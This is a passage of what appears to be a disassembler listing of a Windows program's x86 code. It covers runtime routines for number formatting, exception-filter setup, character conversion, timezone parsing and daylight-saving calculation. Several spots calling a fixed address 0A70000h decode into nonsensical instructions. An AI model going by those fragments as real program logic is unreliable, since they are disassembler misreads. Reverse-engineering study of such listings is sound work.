		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41AD00
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_419B36
		add	esp, 24h
		leave
		retn
sub_419B79	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419BA6	proc near		; CODE XREF: sub_415EB9+65p
					; sub_415FBD+63p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [edx+0Ch]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		test	ebx, ebx
		mov	eax, edi
		jle	short loc_419BE3
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx


loc_419BC9:				; CODE XREF: sub_419BA6+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_419BD5
		movsx	edx, dl
		inc	ecx
		jmp	short loc_419BD8
; ---------------------------------------------------------------------------


loc_419BD5:				; CODE XREF: sub_419BA6+27j
		push	30h
		pop	edx


loc_419BD8:				; CODE XREF: sub_419BA6+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_419BC9
		mov	edx, [ebp+arg_8]


loc_419BE3:				; CODE XREF: sub_419BA6+1Cj
		and	byte ptr [eax],	0
		test	ebx, ebx
		jl	short loc_419BFC
		cmp	byte ptr [ecx],	35h
		jl	short loc_419BFC


loc_419BEF:				; CODE XREF: sub_419BA6+52j
		dec	eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_419BFA
		mov	byte ptr [eax],	30h
		jmp	short loc_419BEF
; ---------------------------------------------------------------------------


loc_419BFA:				; CODE XREF: sub_419BA6+4Dj
		inc	byte ptr [eax]


loc_419BFC:				; CODE XREF: sub_419BA6+42j
					; sub_419BA6+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_419C06
		inc	dword ptr [edx+4]
		jmp	short loc_419C18
; ---------------------------------------------------------------------------


loc_419C06:				; CODE XREF: sub_419BA6+59j
		push	edi
		call	sub_411FB0
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_412720
		add	esp, 10h


loc_419C18:				; CODE XREF: sub_419BA6+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_419BA6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419C1D	proc near		; CODE XREF: sub_415EB9+3Fp
					; sub_415FBD+46p ...

var_C		= byte ptr -0Ch
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		lea	eax, [ebp+arg_0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_419C81
		pop	ecx
		lea	esi, [ebp+var_C]
		pop	ecx
		push	offset word_461158
		push	0
		push	11h
		sub	esp, 0Ch
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_41B1D1
		mov	ds:dword_461180, eax
		add	esp, 18h
		movsx	eax, ds:byte_46115A
		mov	ds:dword_461178, eax
		pop	edi
		movsx	eax, ds:word_461158
		mov	ds:dword_46117C, eax
		mov	ds:dword_461184, offset	dword_46115C
		mov	eax, offset dword_461178
		pop	esi
		leave
		retn
sub_419C1D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419C81	proc near		; CODE XREF: sub_419C1D+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	ax, [edx+6]
		mov	edi, 7FFh
		mov	ecx, eax
		and	eax, 8000h
		shr	ecx, 4
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		mov	esi, 80000000h
		and	eax, 0FFFFFh
		test	ebx, ebx
		mov	[ebp+var_4], esi
		jz	short loc_419CCF
		cmp	ebx, edi
		jz	short loc_419CC8
		lea	edi, [ecx+3C00h]
		jmp	short loc_419CF0
; ---------------------------------------------------------------------------


loc_419CC8:				; CODE XREF: sub_419C81+3Dj
		mov	edi, 7FFFh
		jmp	short loc_419CF0
; ---------------------------------------------------------------------------


loc_419CCF:				; CODE XREF: sub_419C81+39j
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_419CE7
		cmp	edx, ebx
		jnz	short loc_419CE7
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_419D32
; ---------------------------------------------------------------------------


loc_419CE7:				; CODE XREF: sub_419C81+52j
					; sub_419C81+56j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx


loc_419CF0:				; CODE XREF: sub_419C81+45j
					; sub_419C81+4Cj
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		mov	eax, [ebp+arg_0]
		or	ecx, [ebp+var_4]
		shl	edx, 0Bh
		mov	[eax+4], ecx
		mov	[eax], edx


loc_419D08:				; CODE XREF: sub_419C81+A6j
		test	ecx, esi
		jnz	short loc_419D29
		mov	edx, [eax]
		add	ecx, ecx
		mov	ebx, edx
		shr	ebx, 1Fh
		or	ebx, ecx
		lea	ecx, [edx+edx]
		mov	[eax], ecx
		mov	[eax+4], ebx
		add	edi, 0FFFFh
		mov	ecx, ebx
		jmp	short loc_419D08
; ---------------------------------------------------------------------------


loc_419D29:				; CODE XREF: sub_419C81+89j
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx


loc_419D32:				; CODE XREF: sub_419C81+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419C81	endp


; =============== S U B	R O U T	I N E =======================================



sub_419D37	proc near		; CODE XREF: sub_41408C+3AAp
					; sub_41408C+3CBp ...
		push	2
		call	sub_413F2E
		pop	ecx
		retn
sub_419D37	endp


; =============== S U B	R O U T	I N E =======================================



sub_419D40	proc near		; DATA XREF: sub_419D86o
					; seg002:0042FBC0o ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_419D63
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_419D63
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_419D63
		jmp	sub_416A3C
; ---------------------------------------------------------------------------


loc_419D63:				; CODE XREF: sub_419D40+Dj
					; sub_419D40+13j ...
		mov	eax, ds:dword_461188
		test	eax, eax
		jz	short loc_419D80
		push	eax
		call	sub_419DDC
		test	eax, eax
		pop	ecx
		jz	short loc_419D80
		push	esi
		call	ds:dword_461188
		jmp	short loc_419D82
; ---------------------------------------------------------------------------


loc_419D80:				; CODE XREF: sub_419D40+2Aj
					; sub_419D40+35j
		xor	eax, eax


loc_419D82:				; CODE XREF: sub_419D40+3Ej
		pop	esi
		retn	4
sub_419D40	endp


; =============== S U B	R O U T	I N E =======================================



sub_419D86	proc near		; DATA XREF: seg002:0041F024o
		push	offset sub_419D40
		call	ds:dword_41D024	; SetUnhandledExceptionFilter
		mov	ds:dword_461188, eax
		retn
sub_419D86	endp


; =============== S U B	R O U T	I N E =======================================



sub_419D97	proc near		; DATA XREF: seg002:0041F03Co
		push	ds:dword_461188
		call	ds:dword_41D024	; SetUnhandledExceptionFilter
		retn
sub_419D97	endp


; =============== S U B	R O U T	I N E =======================================



sub_419DA4	proc near		; CODE XREF: sub_416291+6Bp
					; sub_4167A2+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	near ptr 0A70000h
		inc	ecx
		test	eax, eax
		jz	short loc_419DBC
		xor	esi, esi


loc_419DBC:				; CODE XREF: sub_419DA4+14j
		mov	eax, esi
		pop	esi
		retn
sub_419DA4	endp


; =============== S U B	R O U T	I N E =======================================



sub_419DC0	proc near		; CODE XREF: sub_4167A2+73p
					; sub_4167A2+BFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	near ptr 0A70000h
		cmp	al, 85h
		sal	byte ptr [edx+eax+33h],	0F6h
		mov	eax, esi
		pop	esi
		retn
sub_419DC0	endp


; =============== S U B	R O U T	I N E =======================================



sub_419DDC	proc near		; CODE XREF: sub_4167A2+15Bp
					; sub_419D40+2Dp

arg_0		= dword	ptr  4

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_0]
		call	near ptr 0A70000h
		adc	eax, [ebp+330274C0h]


loc_419DEF:				; CODE XREF: sub_416A3C:loc_416A8Dj
		test	byte ptr [ebx+6AC35EC6h], 0Ah
		call	sub_41907D
		push	16h
		call	sub_41B464
		pop	ecx
		pop	ecx
		push	3
		call	sub_413A28
sub_419DDC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E0B	proc near		; CODE XREF: sub_416BDD+6A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_419E2E
		cmp	[ebp+arg_8], ebx
		jz	short loc_419E2E
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_419E34
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_419E2E
		mov	[eax], bx


loc_419E2E:				; CODE XREF: sub_419E0B+Cj
					; sub_419E0B+11j ...
		xor	eax, eax


loc_419E30:				; CODE XREF: sub_419E0B+42j
					; sub_419E0B+86j ...
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_419E34:				; CODE XREF: sub_419E0B+17j
		cmp	ds:dword_461018, ebx
		jnz	short loc_419E4F
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_419E4A
		movzx	ax, al
		mov	[ecx], ax


loc_419E4A:				; CODE XREF: sub_419E0B+36j
					; sub_419E0B+C0j
		push	1
		pop	eax
		jmp	short loc_419E30
; ---------------------------------------------------------------------------


loc_419E4F:				; CODE XREF: sub_419E0B+2Fj
		mov	ecx, ds:off_42F870
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_419EAC
		mov	eax, ds:dword_42FA7C
		cmp	eax, 1
		jle	short loc_419E93
		cmp	[ebp+arg_8], eax
		jl	short loc_419E9D
		xor	ecx, ecx
		cmp	[ebp+arg_0], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_0]
		push	eax
		push	esi
		push	9
		push	ds:dword_461028
		call	ds:dword_41D12C	; MultiByteToWideChar
		test	eax, eax
		mov	eax, ds:dword_42FA7C
		jnz	short loc_419E30


loc_419E93:				; CODE XREF: sub_419E0B+5Cj
		cmp	[ebp+arg_8], eax
		jb	short loc_419E9D
		cmp	[esi+1], bl
		jnz	short loc_419E30


loc_419E9D:				; CODE XREF: sub_419E0B+61j
					; sub_419E0B+8Bj ...
		mov	ds:dword_460F8C, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_419E30
; ---------------------------------------------------------------------------


loc_419EAC:				; CODE XREF: sub_419E0B+52j
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	9
		push	ds:dword_461028
		call	ds:dword_41D12C	; MultiByteToWideChar
		test	eax, eax
		jnz	loc_419E4A
		jmp	short loc_419E9D
sub_419E0B	endp


; =============== S U B	R O U T	I N E =======================================



sub_419ED3	proc near		; CODE XREF: sub_416BDD+76p
					; sub_416BDD+88p ...

arg_0		= dword	ptr  4

		cmp	ds:dword_42FA7C, 1
		jle	short loc_419EEA
		push	8
		push	[esp+4+arg_0]
		call	sub_414896
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_419EEA:				; CODE XREF: sub_419ED3+7j
		mov	eax, [esp+arg_0]
		mov	ecx, ds:off_42F870
		mov	al, [ecx+eax*2]
		and	eax, 8
		retn
sub_419ED3	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_419F00	proc near		; CODE XREF: sub_416BDD+797p
					; sub_416BDD+7E7p
		cmp	cl, 40h
		jnb	short loc_419F1A
		cmp	cl, 20h
		jnb	short loc_419F10
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------


loc_419F10:				; CODE XREF: sub_419F00+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------


loc_419F1A:				; CODE XREF: sub_419F00+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_419F00	endp


; =============== S U B	R O U T	I N E =======================================



sub_419F1F	proc near		; CODE XREF: sub_417653+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_419F6B
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_419F3D
		test	al, 80h
		jz	short loc_419F6B
		test	al, 2
		jnz	short loc_419F6B


loc_419F3D:				; CODE XREF: sub_419F1F+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_419F4A
		push	esi
		call	sub_41937D
		pop	ecx


loc_419F4A:				; CODE XREF: sub_419F1F+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_419F5A
		cmp	dword ptr [esi+4], 0
		jnz	short loc_419F6B
		inc	eax
		mov	[esi], eax


loc_419F5A:				; CODE XREF: sub_419F1F+30j
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_419F71
		dec	dword ptr [esi]
		mov	eax, [esi]
		cmp	[eax], bl
		jz	short loc_419F77
		inc	eax
		mov	[esi], eax


loc_419F6B:				; CODE XREF: sub_419F1F+9j
					; sub_419F1F+18j ...
		or	eax, 0FFFFFFFFh


loc_419F6E:				; CODE XREF: sub_419F1F+6Cj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_419F71:				; CODE XREF: sub_419F1F+3Fj
		dec	dword ptr [esi]
		mov	eax, [esi]
		mov	[eax], bl


loc_419F77:				; CODE XREF: sub_419F1F+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	al, 0EFh
		or	al, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_419F6E
sub_419F1F	endp


; =============== S U B	R O U T	I N E =======================================



sub_419F8D	proc near		; CODE XREF: sub_41768E:loc_4176CDp
		cmp	ds:dword_461248, 0
		jnz	short locret_419FA1
		call	sub_419FA2
		inc	ds:dword_461248

locret_419FA1:				; CODE XREF: sub_419F8D+7j
		retn
sub_419F8D	endp


; =============== S U B	R O U T	I N E =======================================



sub_419FA2	proc near		; CODE XREF: sub_419F8D+9p

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		or	ebx, 0FFFFFFFFh
		push	offset aTz	; "TZ"
		xor	edi, edi
		mov	ds:dword_461190, ebp
		mov	ds:dword_4302C8, ebx
		mov	ds:dword_4302B8, ebx
		call	sub_41B5D6
		mov	esi, eax
		pop	ecx
		cmp	esi, ebp
		jnz	loc_41A0CB
		push	offset dword_461198
		call	near ptr 0A70000h
		in	al, dx
		cmp	eax, ebx
		jz	loc_41A1FA
		mov	eax, ds:dword_461198
		mov	ecx, ds:dword_4611EC
		imul	eax, 3Ch
		cmp	ds:word_4611DE,	bp
		push	1
		pop	edx
		mov	ds:dword_430220, eax
		mov	ds:dword_461190, edx
		jz	short loc_41A019
		mov	esi, ecx
		imul	esi, 3Ch
		add	eax, esi
		mov	ds:dword_430220, eax


loc_41A019:				; CODE XREF: sub_419FA2+69j
		cmp	ds:word_461232,	bp
		jz	short loc_41A03D
		mov	eax, ds:dword_461240
		cmp	eax, ebp
		jz	short loc_41A03D
		sub	eax, ecx
		mov	ds:dword_430224, edx
		imul	eax, 3Ch
		mov	ds:dword_430228, eax
		jmp	short loc_41A049
; ---------------------------------------------------------------------------


loc_41A03D:				; CODE XREF: sub_419FA2+7Ej
					; sub_419FA2+87j
		mov	ds:dword_430224, ebp
		mov	ds:dword_430228, ebp


loc_41A049:				; CODE XREF: sub_419FA2+99j
		lea	eax, [esp+14h+var_4]
		mov	esi, ds:dword_41D128
		push	eax
		push	ebp
		push	3Fh
		mov	edi, 220h
		push	ds:off_4302AC
		push	ebx
		push	offset dword_46119C
		push	edi
		push	ds:dword_461028
		call	esi ; dword_41D128
		test	eax, eax
		jz	short loc_41A086
		cmp	[esp+14h+var_4], ebp
		jnz	short loc_41A086
		mov	eax, ds:off_4302AC
		and	byte ptr [eax+3Fh], 0
		jmp	short loc_41A08E
; ---------------------------------------------------------------------------


loc_41A086:				; CODE XREF: sub_419FA2+D1j
					; sub_419FA2+D7j
		mov	eax, ds:off_4302AC
		and	byte ptr [eax],	0


loc_41A08E:				; CODE XREF: sub_419FA2+E2j
		lea	eax, [esp+14h+var_4]
		push	eax
		push	ebp
		push	3Fh
		push	ds:off_4302B0
		push	ebx
		push	offset dword_4611F0
		push	edi
		push	ds:dword_461028
		call	esi ; dword_41D128
		test	eax, eax
		jz	loc_41A1F2
		cmp	[esp+14h+var_4], ebp
		jnz	loc_41A1F2
		mov	eax, ds:off_4302B0
		and	byte ptr [eax+3Fh], 0
		jmp	loc_41A1FA
; ---------------------------------------------------------------------------


loc_41A0CB:				; CODE XREF: sub_419FA2+2Dj
		cmp	byte ptr [esi],	0
		jz	loc_41A1FA
		mov	eax, ds:dword_461244
		cmp	eax, ebp
		jz	short loc_41A0EE
		push	eax
		push	esi
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41A1FA


loc_41A0EE:				; CODE XREF: sub_419FA2+139j
		push	ds:dword_461244
		call	sub_4120D3
		push	esi
		call	sub_411FB0
		inc	eax
		push	eax
		call	sub_41205F
		add	esp, 0Ch
		cmp	eax, ebp
		mov	ds:dword_461244, eax
		jz	loc_41A1FA
		push	esi
		push	eax
		call	sub_412FC0
		push	3
		push	esi
		push	ds:off_4302AC
		call	sub_413150
		mov	eax, ds:off_4302AC
		add	esi, 3
		add	esp, 14h
		and	byte ptr [eax+3], 0
		cmp	byte ptr [esi],	2Dh
		jnz	short loc_41A143
		push	1
		inc	esi
		pop	edi


loc_41A143:				; CODE XREF: sub_419FA2+19Bj
		push	esi
		call	sub_411E44
		pop	ecx
		mov	bl, 30h
		mov	ecx, eax
		imul	ecx, 0E10h
		mov	ds:dword_430220, ecx


loc_41A15A:				; CODE XREF: sub_419FA2+1C7j
		mov	al, [esi]
		cmp	al, 2Bh
		jz	short loc_41A168
		cmp	al, bl
		jl	short loc_41A16B
		cmp	al, 39h
		jg	short loc_41A16B


loc_41A168:				; CODE XREF: sub_419FA2+1BCj
		inc	esi
		jmp	short loc_41A15A
; ---------------------------------------------------------------------------


loc_41A16B:				; CODE XREF: sub_419FA2+1C0j
					; sub_419FA2+1C4j
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_41A1BE
		inc	esi
		push	esi
		call	sub_411E44
		imul	eax, 3Ch
		pop	ecx
		mov	ecx, ds:dword_430220
		add	ecx, eax
		mov	ds:dword_430220, ecx


loc_41A189:				; CODE XREF: sub_419FA2+1F2j
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_41A196
		cmp	al, 39h
		jg	short loc_41A196
		inc	esi
		jmp	short loc_41A189
; ---------------------------------------------------------------------------


loc_41A196:				; CODE XREF: sub_419FA2+1EBj
					; sub_419FA2+1EFj
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_41A1BE
		inc	esi
		push	esi
		call	sub_411E44
		pop	ecx
		mov	ecx, ds:dword_430220
		add	ecx, eax
		mov	ds:dword_430220, ecx


loc_41A1B1:				; CODE XREF: sub_419FA2+21Aj
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_41A1BE
		cmp	al, 39h
		jg	short loc_41A1BE
		inc	esi
		jmp	short loc_41A1B1
; ---------------------------------------------------------------------------


loc_41A1BE:				; CODE XREF: sub_419FA2+1CCj
					; sub_419FA2+1F7j ...
		cmp	edi, ebp
		jz	short loc_41A1CA
		neg	ecx
		mov	ds:dword_430220, ecx


loc_41A1CA:				; CODE XREF: sub_419FA2+21Ej
		movsx	eax, byte ptr [esi]
		cmp	eax, ebp
		mov	ds:dword_430224, eax
		jz	short loc_41A1F2
		push	3
		push	esi
		push	ds:off_4302B0
		call	sub_413150
		mov	eax, ds:off_4302B0
		add	esp, 0Ch
		and	byte ptr [eax+3], 0
		jmp	short loc_41A1FA
; ---------------------------------------------------------------------------


loc_41A1F2:				; CODE XREF: sub_419FA2+10Bj
					; sub_419FA2+115j ...
		mov	eax, ds:off_4302B0
		and	byte ptr [eax],	0


loc_41A1FA:				; CODE XREF: sub_419FA2+40j
					; sub_419FA2+124j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_419FA2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A200	proc near		; CODE XREF: sub_41768E+A5p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	ds:dword_430224, edi
		jnz	short loc_41A214


loc_41A20D:				; CODE XREF: sub_41A200+148j
					; sub_41A200+150j ...
		xor	eax, eax
		jmp	loc_41A360
; ---------------------------------------------------------------------------


loc_41A214:				; CODE XREF: sub_41A200+Bj
		mov	esi, [esp+0Ch+arg_0]
		push	1
		pop	ebx
		mov	eax, [esi+14h]
		cmp	eax, ds:dword_4302B8
		jnz	short loc_41A232
		cmp	eax, ds:dword_4302C8
		jz	loc_41A334


loc_41A232:				; CODE XREF: sub_41A200+24j
		cmp	ds:dword_461190, edi
		jz	loc_41A30A
		movzx	ecx, ds:word_46123E
		push	ecx
		cmp	ds:word_461230,	di
		movzx	ecx, ds:word_46123C
		push	ecx
		movzx	ecx, ds:word_46123A
		push	ecx
		movzx	ecx, ds:word_461238
		push	ecx
		jnz	short loc_41A284
		movzx	ecx, ds:word_461234
		push	edi
		push	ecx
		movzx	ecx, ds:word_461236
		push	ecx
		movzx	ecx, ds:word_461232
		push	ecx
		push	eax
		push	ebx
		jmp	short loc_41A298
; ---------------------------------------------------------------------------


loc_41A284:				; CODE XREF: sub_41A200+65j
		movzx	ecx, ds:word_461236
		push	ecx
		push	edi
		movzx	ecx, ds:word_461232
		push	edi
		push	ecx
		push	eax
		push	edi


loc_41A298:				; CODE XREF: sub_41A200+82j
		push	ebx
		call	sub_41A3AC
		movzx	eax, ds:word_4611EA
		add	esp, 2Ch
		cmp	ds:word_4611DC,	di
		push	eax
		movzx	eax, ds:word_4611E8
		push	eax
		movzx	eax, ds:word_4611E6
		push	eax
		movzx	eax, ds:word_4611E4
		push	eax
		jnz	short loc_41A2F2
		movzx	eax, ds:word_4611E0
		push	edi
		push	eax
		movzx	eax, ds:word_4611E2
		push	eax
		movzx	eax, ds:word_4611DE
		push	eax
		push	dword ptr [esi+14h]
		push	ebx


loc_41A2E7:				; CODE XREF: sub_41A200+108j
		push	edi
		call	sub_41A3AC
		add	esp, 2Ch
		jmp	short loc_41A334
; ---------------------------------------------------------------------------


loc_41A2F2:				; CODE XREF: sub_41A200+C8j
		movzx	eax, ds:word_4611E2
		push	eax
		push	edi
		movzx	eax, ds:word_4611DE
		push	edi
		push	eax
		push	dword ptr [esi+14h]
		push	edi
		jmp	short loc_41A2E7
; ---------------------------------------------------------------------------


loc_41A30A:				; CODE XREF: sub_41A200+38j
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	ebx
		push	4
		push	eax
		push	ebx
		push	ebx
		call	sub_41A3AC
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	5
		push	0Ah
		push	dword ptr [esi+14h]
		push	ebx
		push	edi
		call	sub_41A3AC
		add	esp, 58h


loc_41A334:				; CODE XREF: sub_41A200+2Cj
					; sub_41A200+F0j
		mov	edx, ds:dword_4302BC
		mov	eax, ds:dword_4302CC
		mov	ecx, [esi+1Ch]
		cmp	edx, eax
		jge	short loc_41A364
		cmp	ecx, edx
		jl	loc_41A20D
		cmp	ecx, eax
		jg	loc_41A20D
		cmp	ecx, edx
		jle	short loc_41A378
		cmp	ecx, eax
		jge	short loc_41A378


loc_41A35E:				; CODE XREF: sub_41A200+166j
					; sub_41A200+16Aj
		mov	eax, ebx


loc_41A360:				; CODE XREF: sub_41A200+Fj
					; sub_41A200+19Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41A364:				; CODE XREF: sub_41A200+144j
		cmp	ecx, eax
		jl	short loc_41A35E
		cmp	ecx, edx
		jg	short loc_41A35E
		cmp	ecx, eax
		jle	short loc_41A378
		cmp	ecx, edx
		jl	loc_41A20D


loc_41A378:				; CODE XREF: sub_41A200+158j
					; sub_41A200+15Cj ...
		mov	eax, [esi+8]
		imul	eax, 3Ch
		add	eax, [esi+4]
		imul	eax, 3Ch
		add	eax, [esi]
		imul	eax, 3E8h
		cmp	ecx, edx
		jnz	short loc_41A39F
		xor	ecx, ecx
		cmp	eax, ds:dword_4302C0
		setnl	cl


loc_41A39B:				; CODE XREF: sub_41A200+1AAj
		mov	eax, ecx
		jmp	short loc_41A360
; ---------------------------------------------------------------------------


loc_41A39F:				; CODE XREF: sub_41A200+18Ej
		xor	ecx, ecx
		cmp	eax, ds:dword_4302D0
		setl	cl
		jmp	short loc_41A39B
sub_41A200	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A3AC	proc near		; CODE XREF: sub_41A200+99p
					; sub_41A200+E8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 1
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		jnz	loc_41A447
		mov	eax, [ebp+arg_C]
		mov	[ebp+arg_8], ebx
		and	[ebp+arg_8], 3
		mov	esi, eax
		jnz	short loc_41A3D7
		shl	esi, 2
		mov	eax, ds:dword_4302D0[esi]
		jmp	short loc_41A3E0
; ---------------------------------------------------------------------------


loc_41A3D7:				; CODE XREF: sub_41A3AC+1Ej
		shl	esi, 2
		mov	eax, ds:dword_430304[esi]


loc_41A3E0:				; CODE XREF: sub_41A3AC+29j
		mov	edx, ebx
		lea	ecx, [eax+1]
		imul	edx, 16Dh
		lea	eax, [ebx-1]
		push	edi
		sar	eax, 2
		mov	edi, ecx
		push	7
		add	edi, eax
		lea	eax, [edx+edi-63DBh]
		pop	edi
		cdq
		idiv	edi
		mov	eax, [ebp+arg_10]
		pop	edi
		cmp	edx, [ebp+arg_14]
		jge	short loc_41A41A
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		lea	ecx, [ecx+eax-7]
		jmp	short loc_41A424
; ---------------------------------------------------------------------------


loc_41A41A:				; CODE XREF: sub_41A3AC+5Ej
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		add	ecx, eax


loc_41A424:				; CODE XREF: sub_41A3AC+6Cj
		cmp	[ebp+arg_10], 5
		jnz	short loc_41A462
		cmp	[ebp+arg_8], 0
		jnz	short loc_41A438
		mov	esi, ds:dword_4302D4[esi]
		jmp	short loc_41A43E
; ---------------------------------------------------------------------------


loc_41A438:				; CODE XREF: sub_41A3AC+82j
		mov	esi, ds:dword_430308[esi]


loc_41A43E:				; CODE XREF: sub_41A3AC+8Aj
		cmp	ecx, esi
		jle	short loc_41A462
		sub	ecx, 7
		jmp	short loc_41A462
; ---------------------------------------------------------------------------


loc_41A447:				; CODE XREF: sub_41A3AC+Cj
		mov	eax, [ebp+arg_C]
		test	bl, 3
		jnz	short loc_41A458
		mov	ecx, ds:dword_4302D0[eax*4]
		jmp	short loc_41A45F
; ---------------------------------------------------------------------------


loc_41A458:				; CODE XREF: sub_41A3AC+A1j
		mov	ecx, ds:dword_430304[eax*4]


loc_41A45F:				; CODE XREF: sub_41A3AC+AAj
		add	ecx, [ebp+arg_18]


loc_41A462:				; CODE XREF: sub_41A3AC+7Cj
					; sub_41A3AC+94j ...
		cmp	[ebp+arg_0], 1
		jnz	short loc_41A493
		mov	eax, [ebp+arg_1C]
		mov	ds:dword_4302BC, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		mov	ds:dword_4302B8, ebx
		imul	eax, 3Ch
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	ds:dword_4302C0, eax
		jmp	short loc_41A4E8
; ---------------------------------------------------------------------------


loc_41A493:				; CODE XREF: sub_41A3AC+BAj
		mov	eax, [ebp+arg_1C]
		mov	ds:dword_4302CC, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		imul	eax, 3Ch
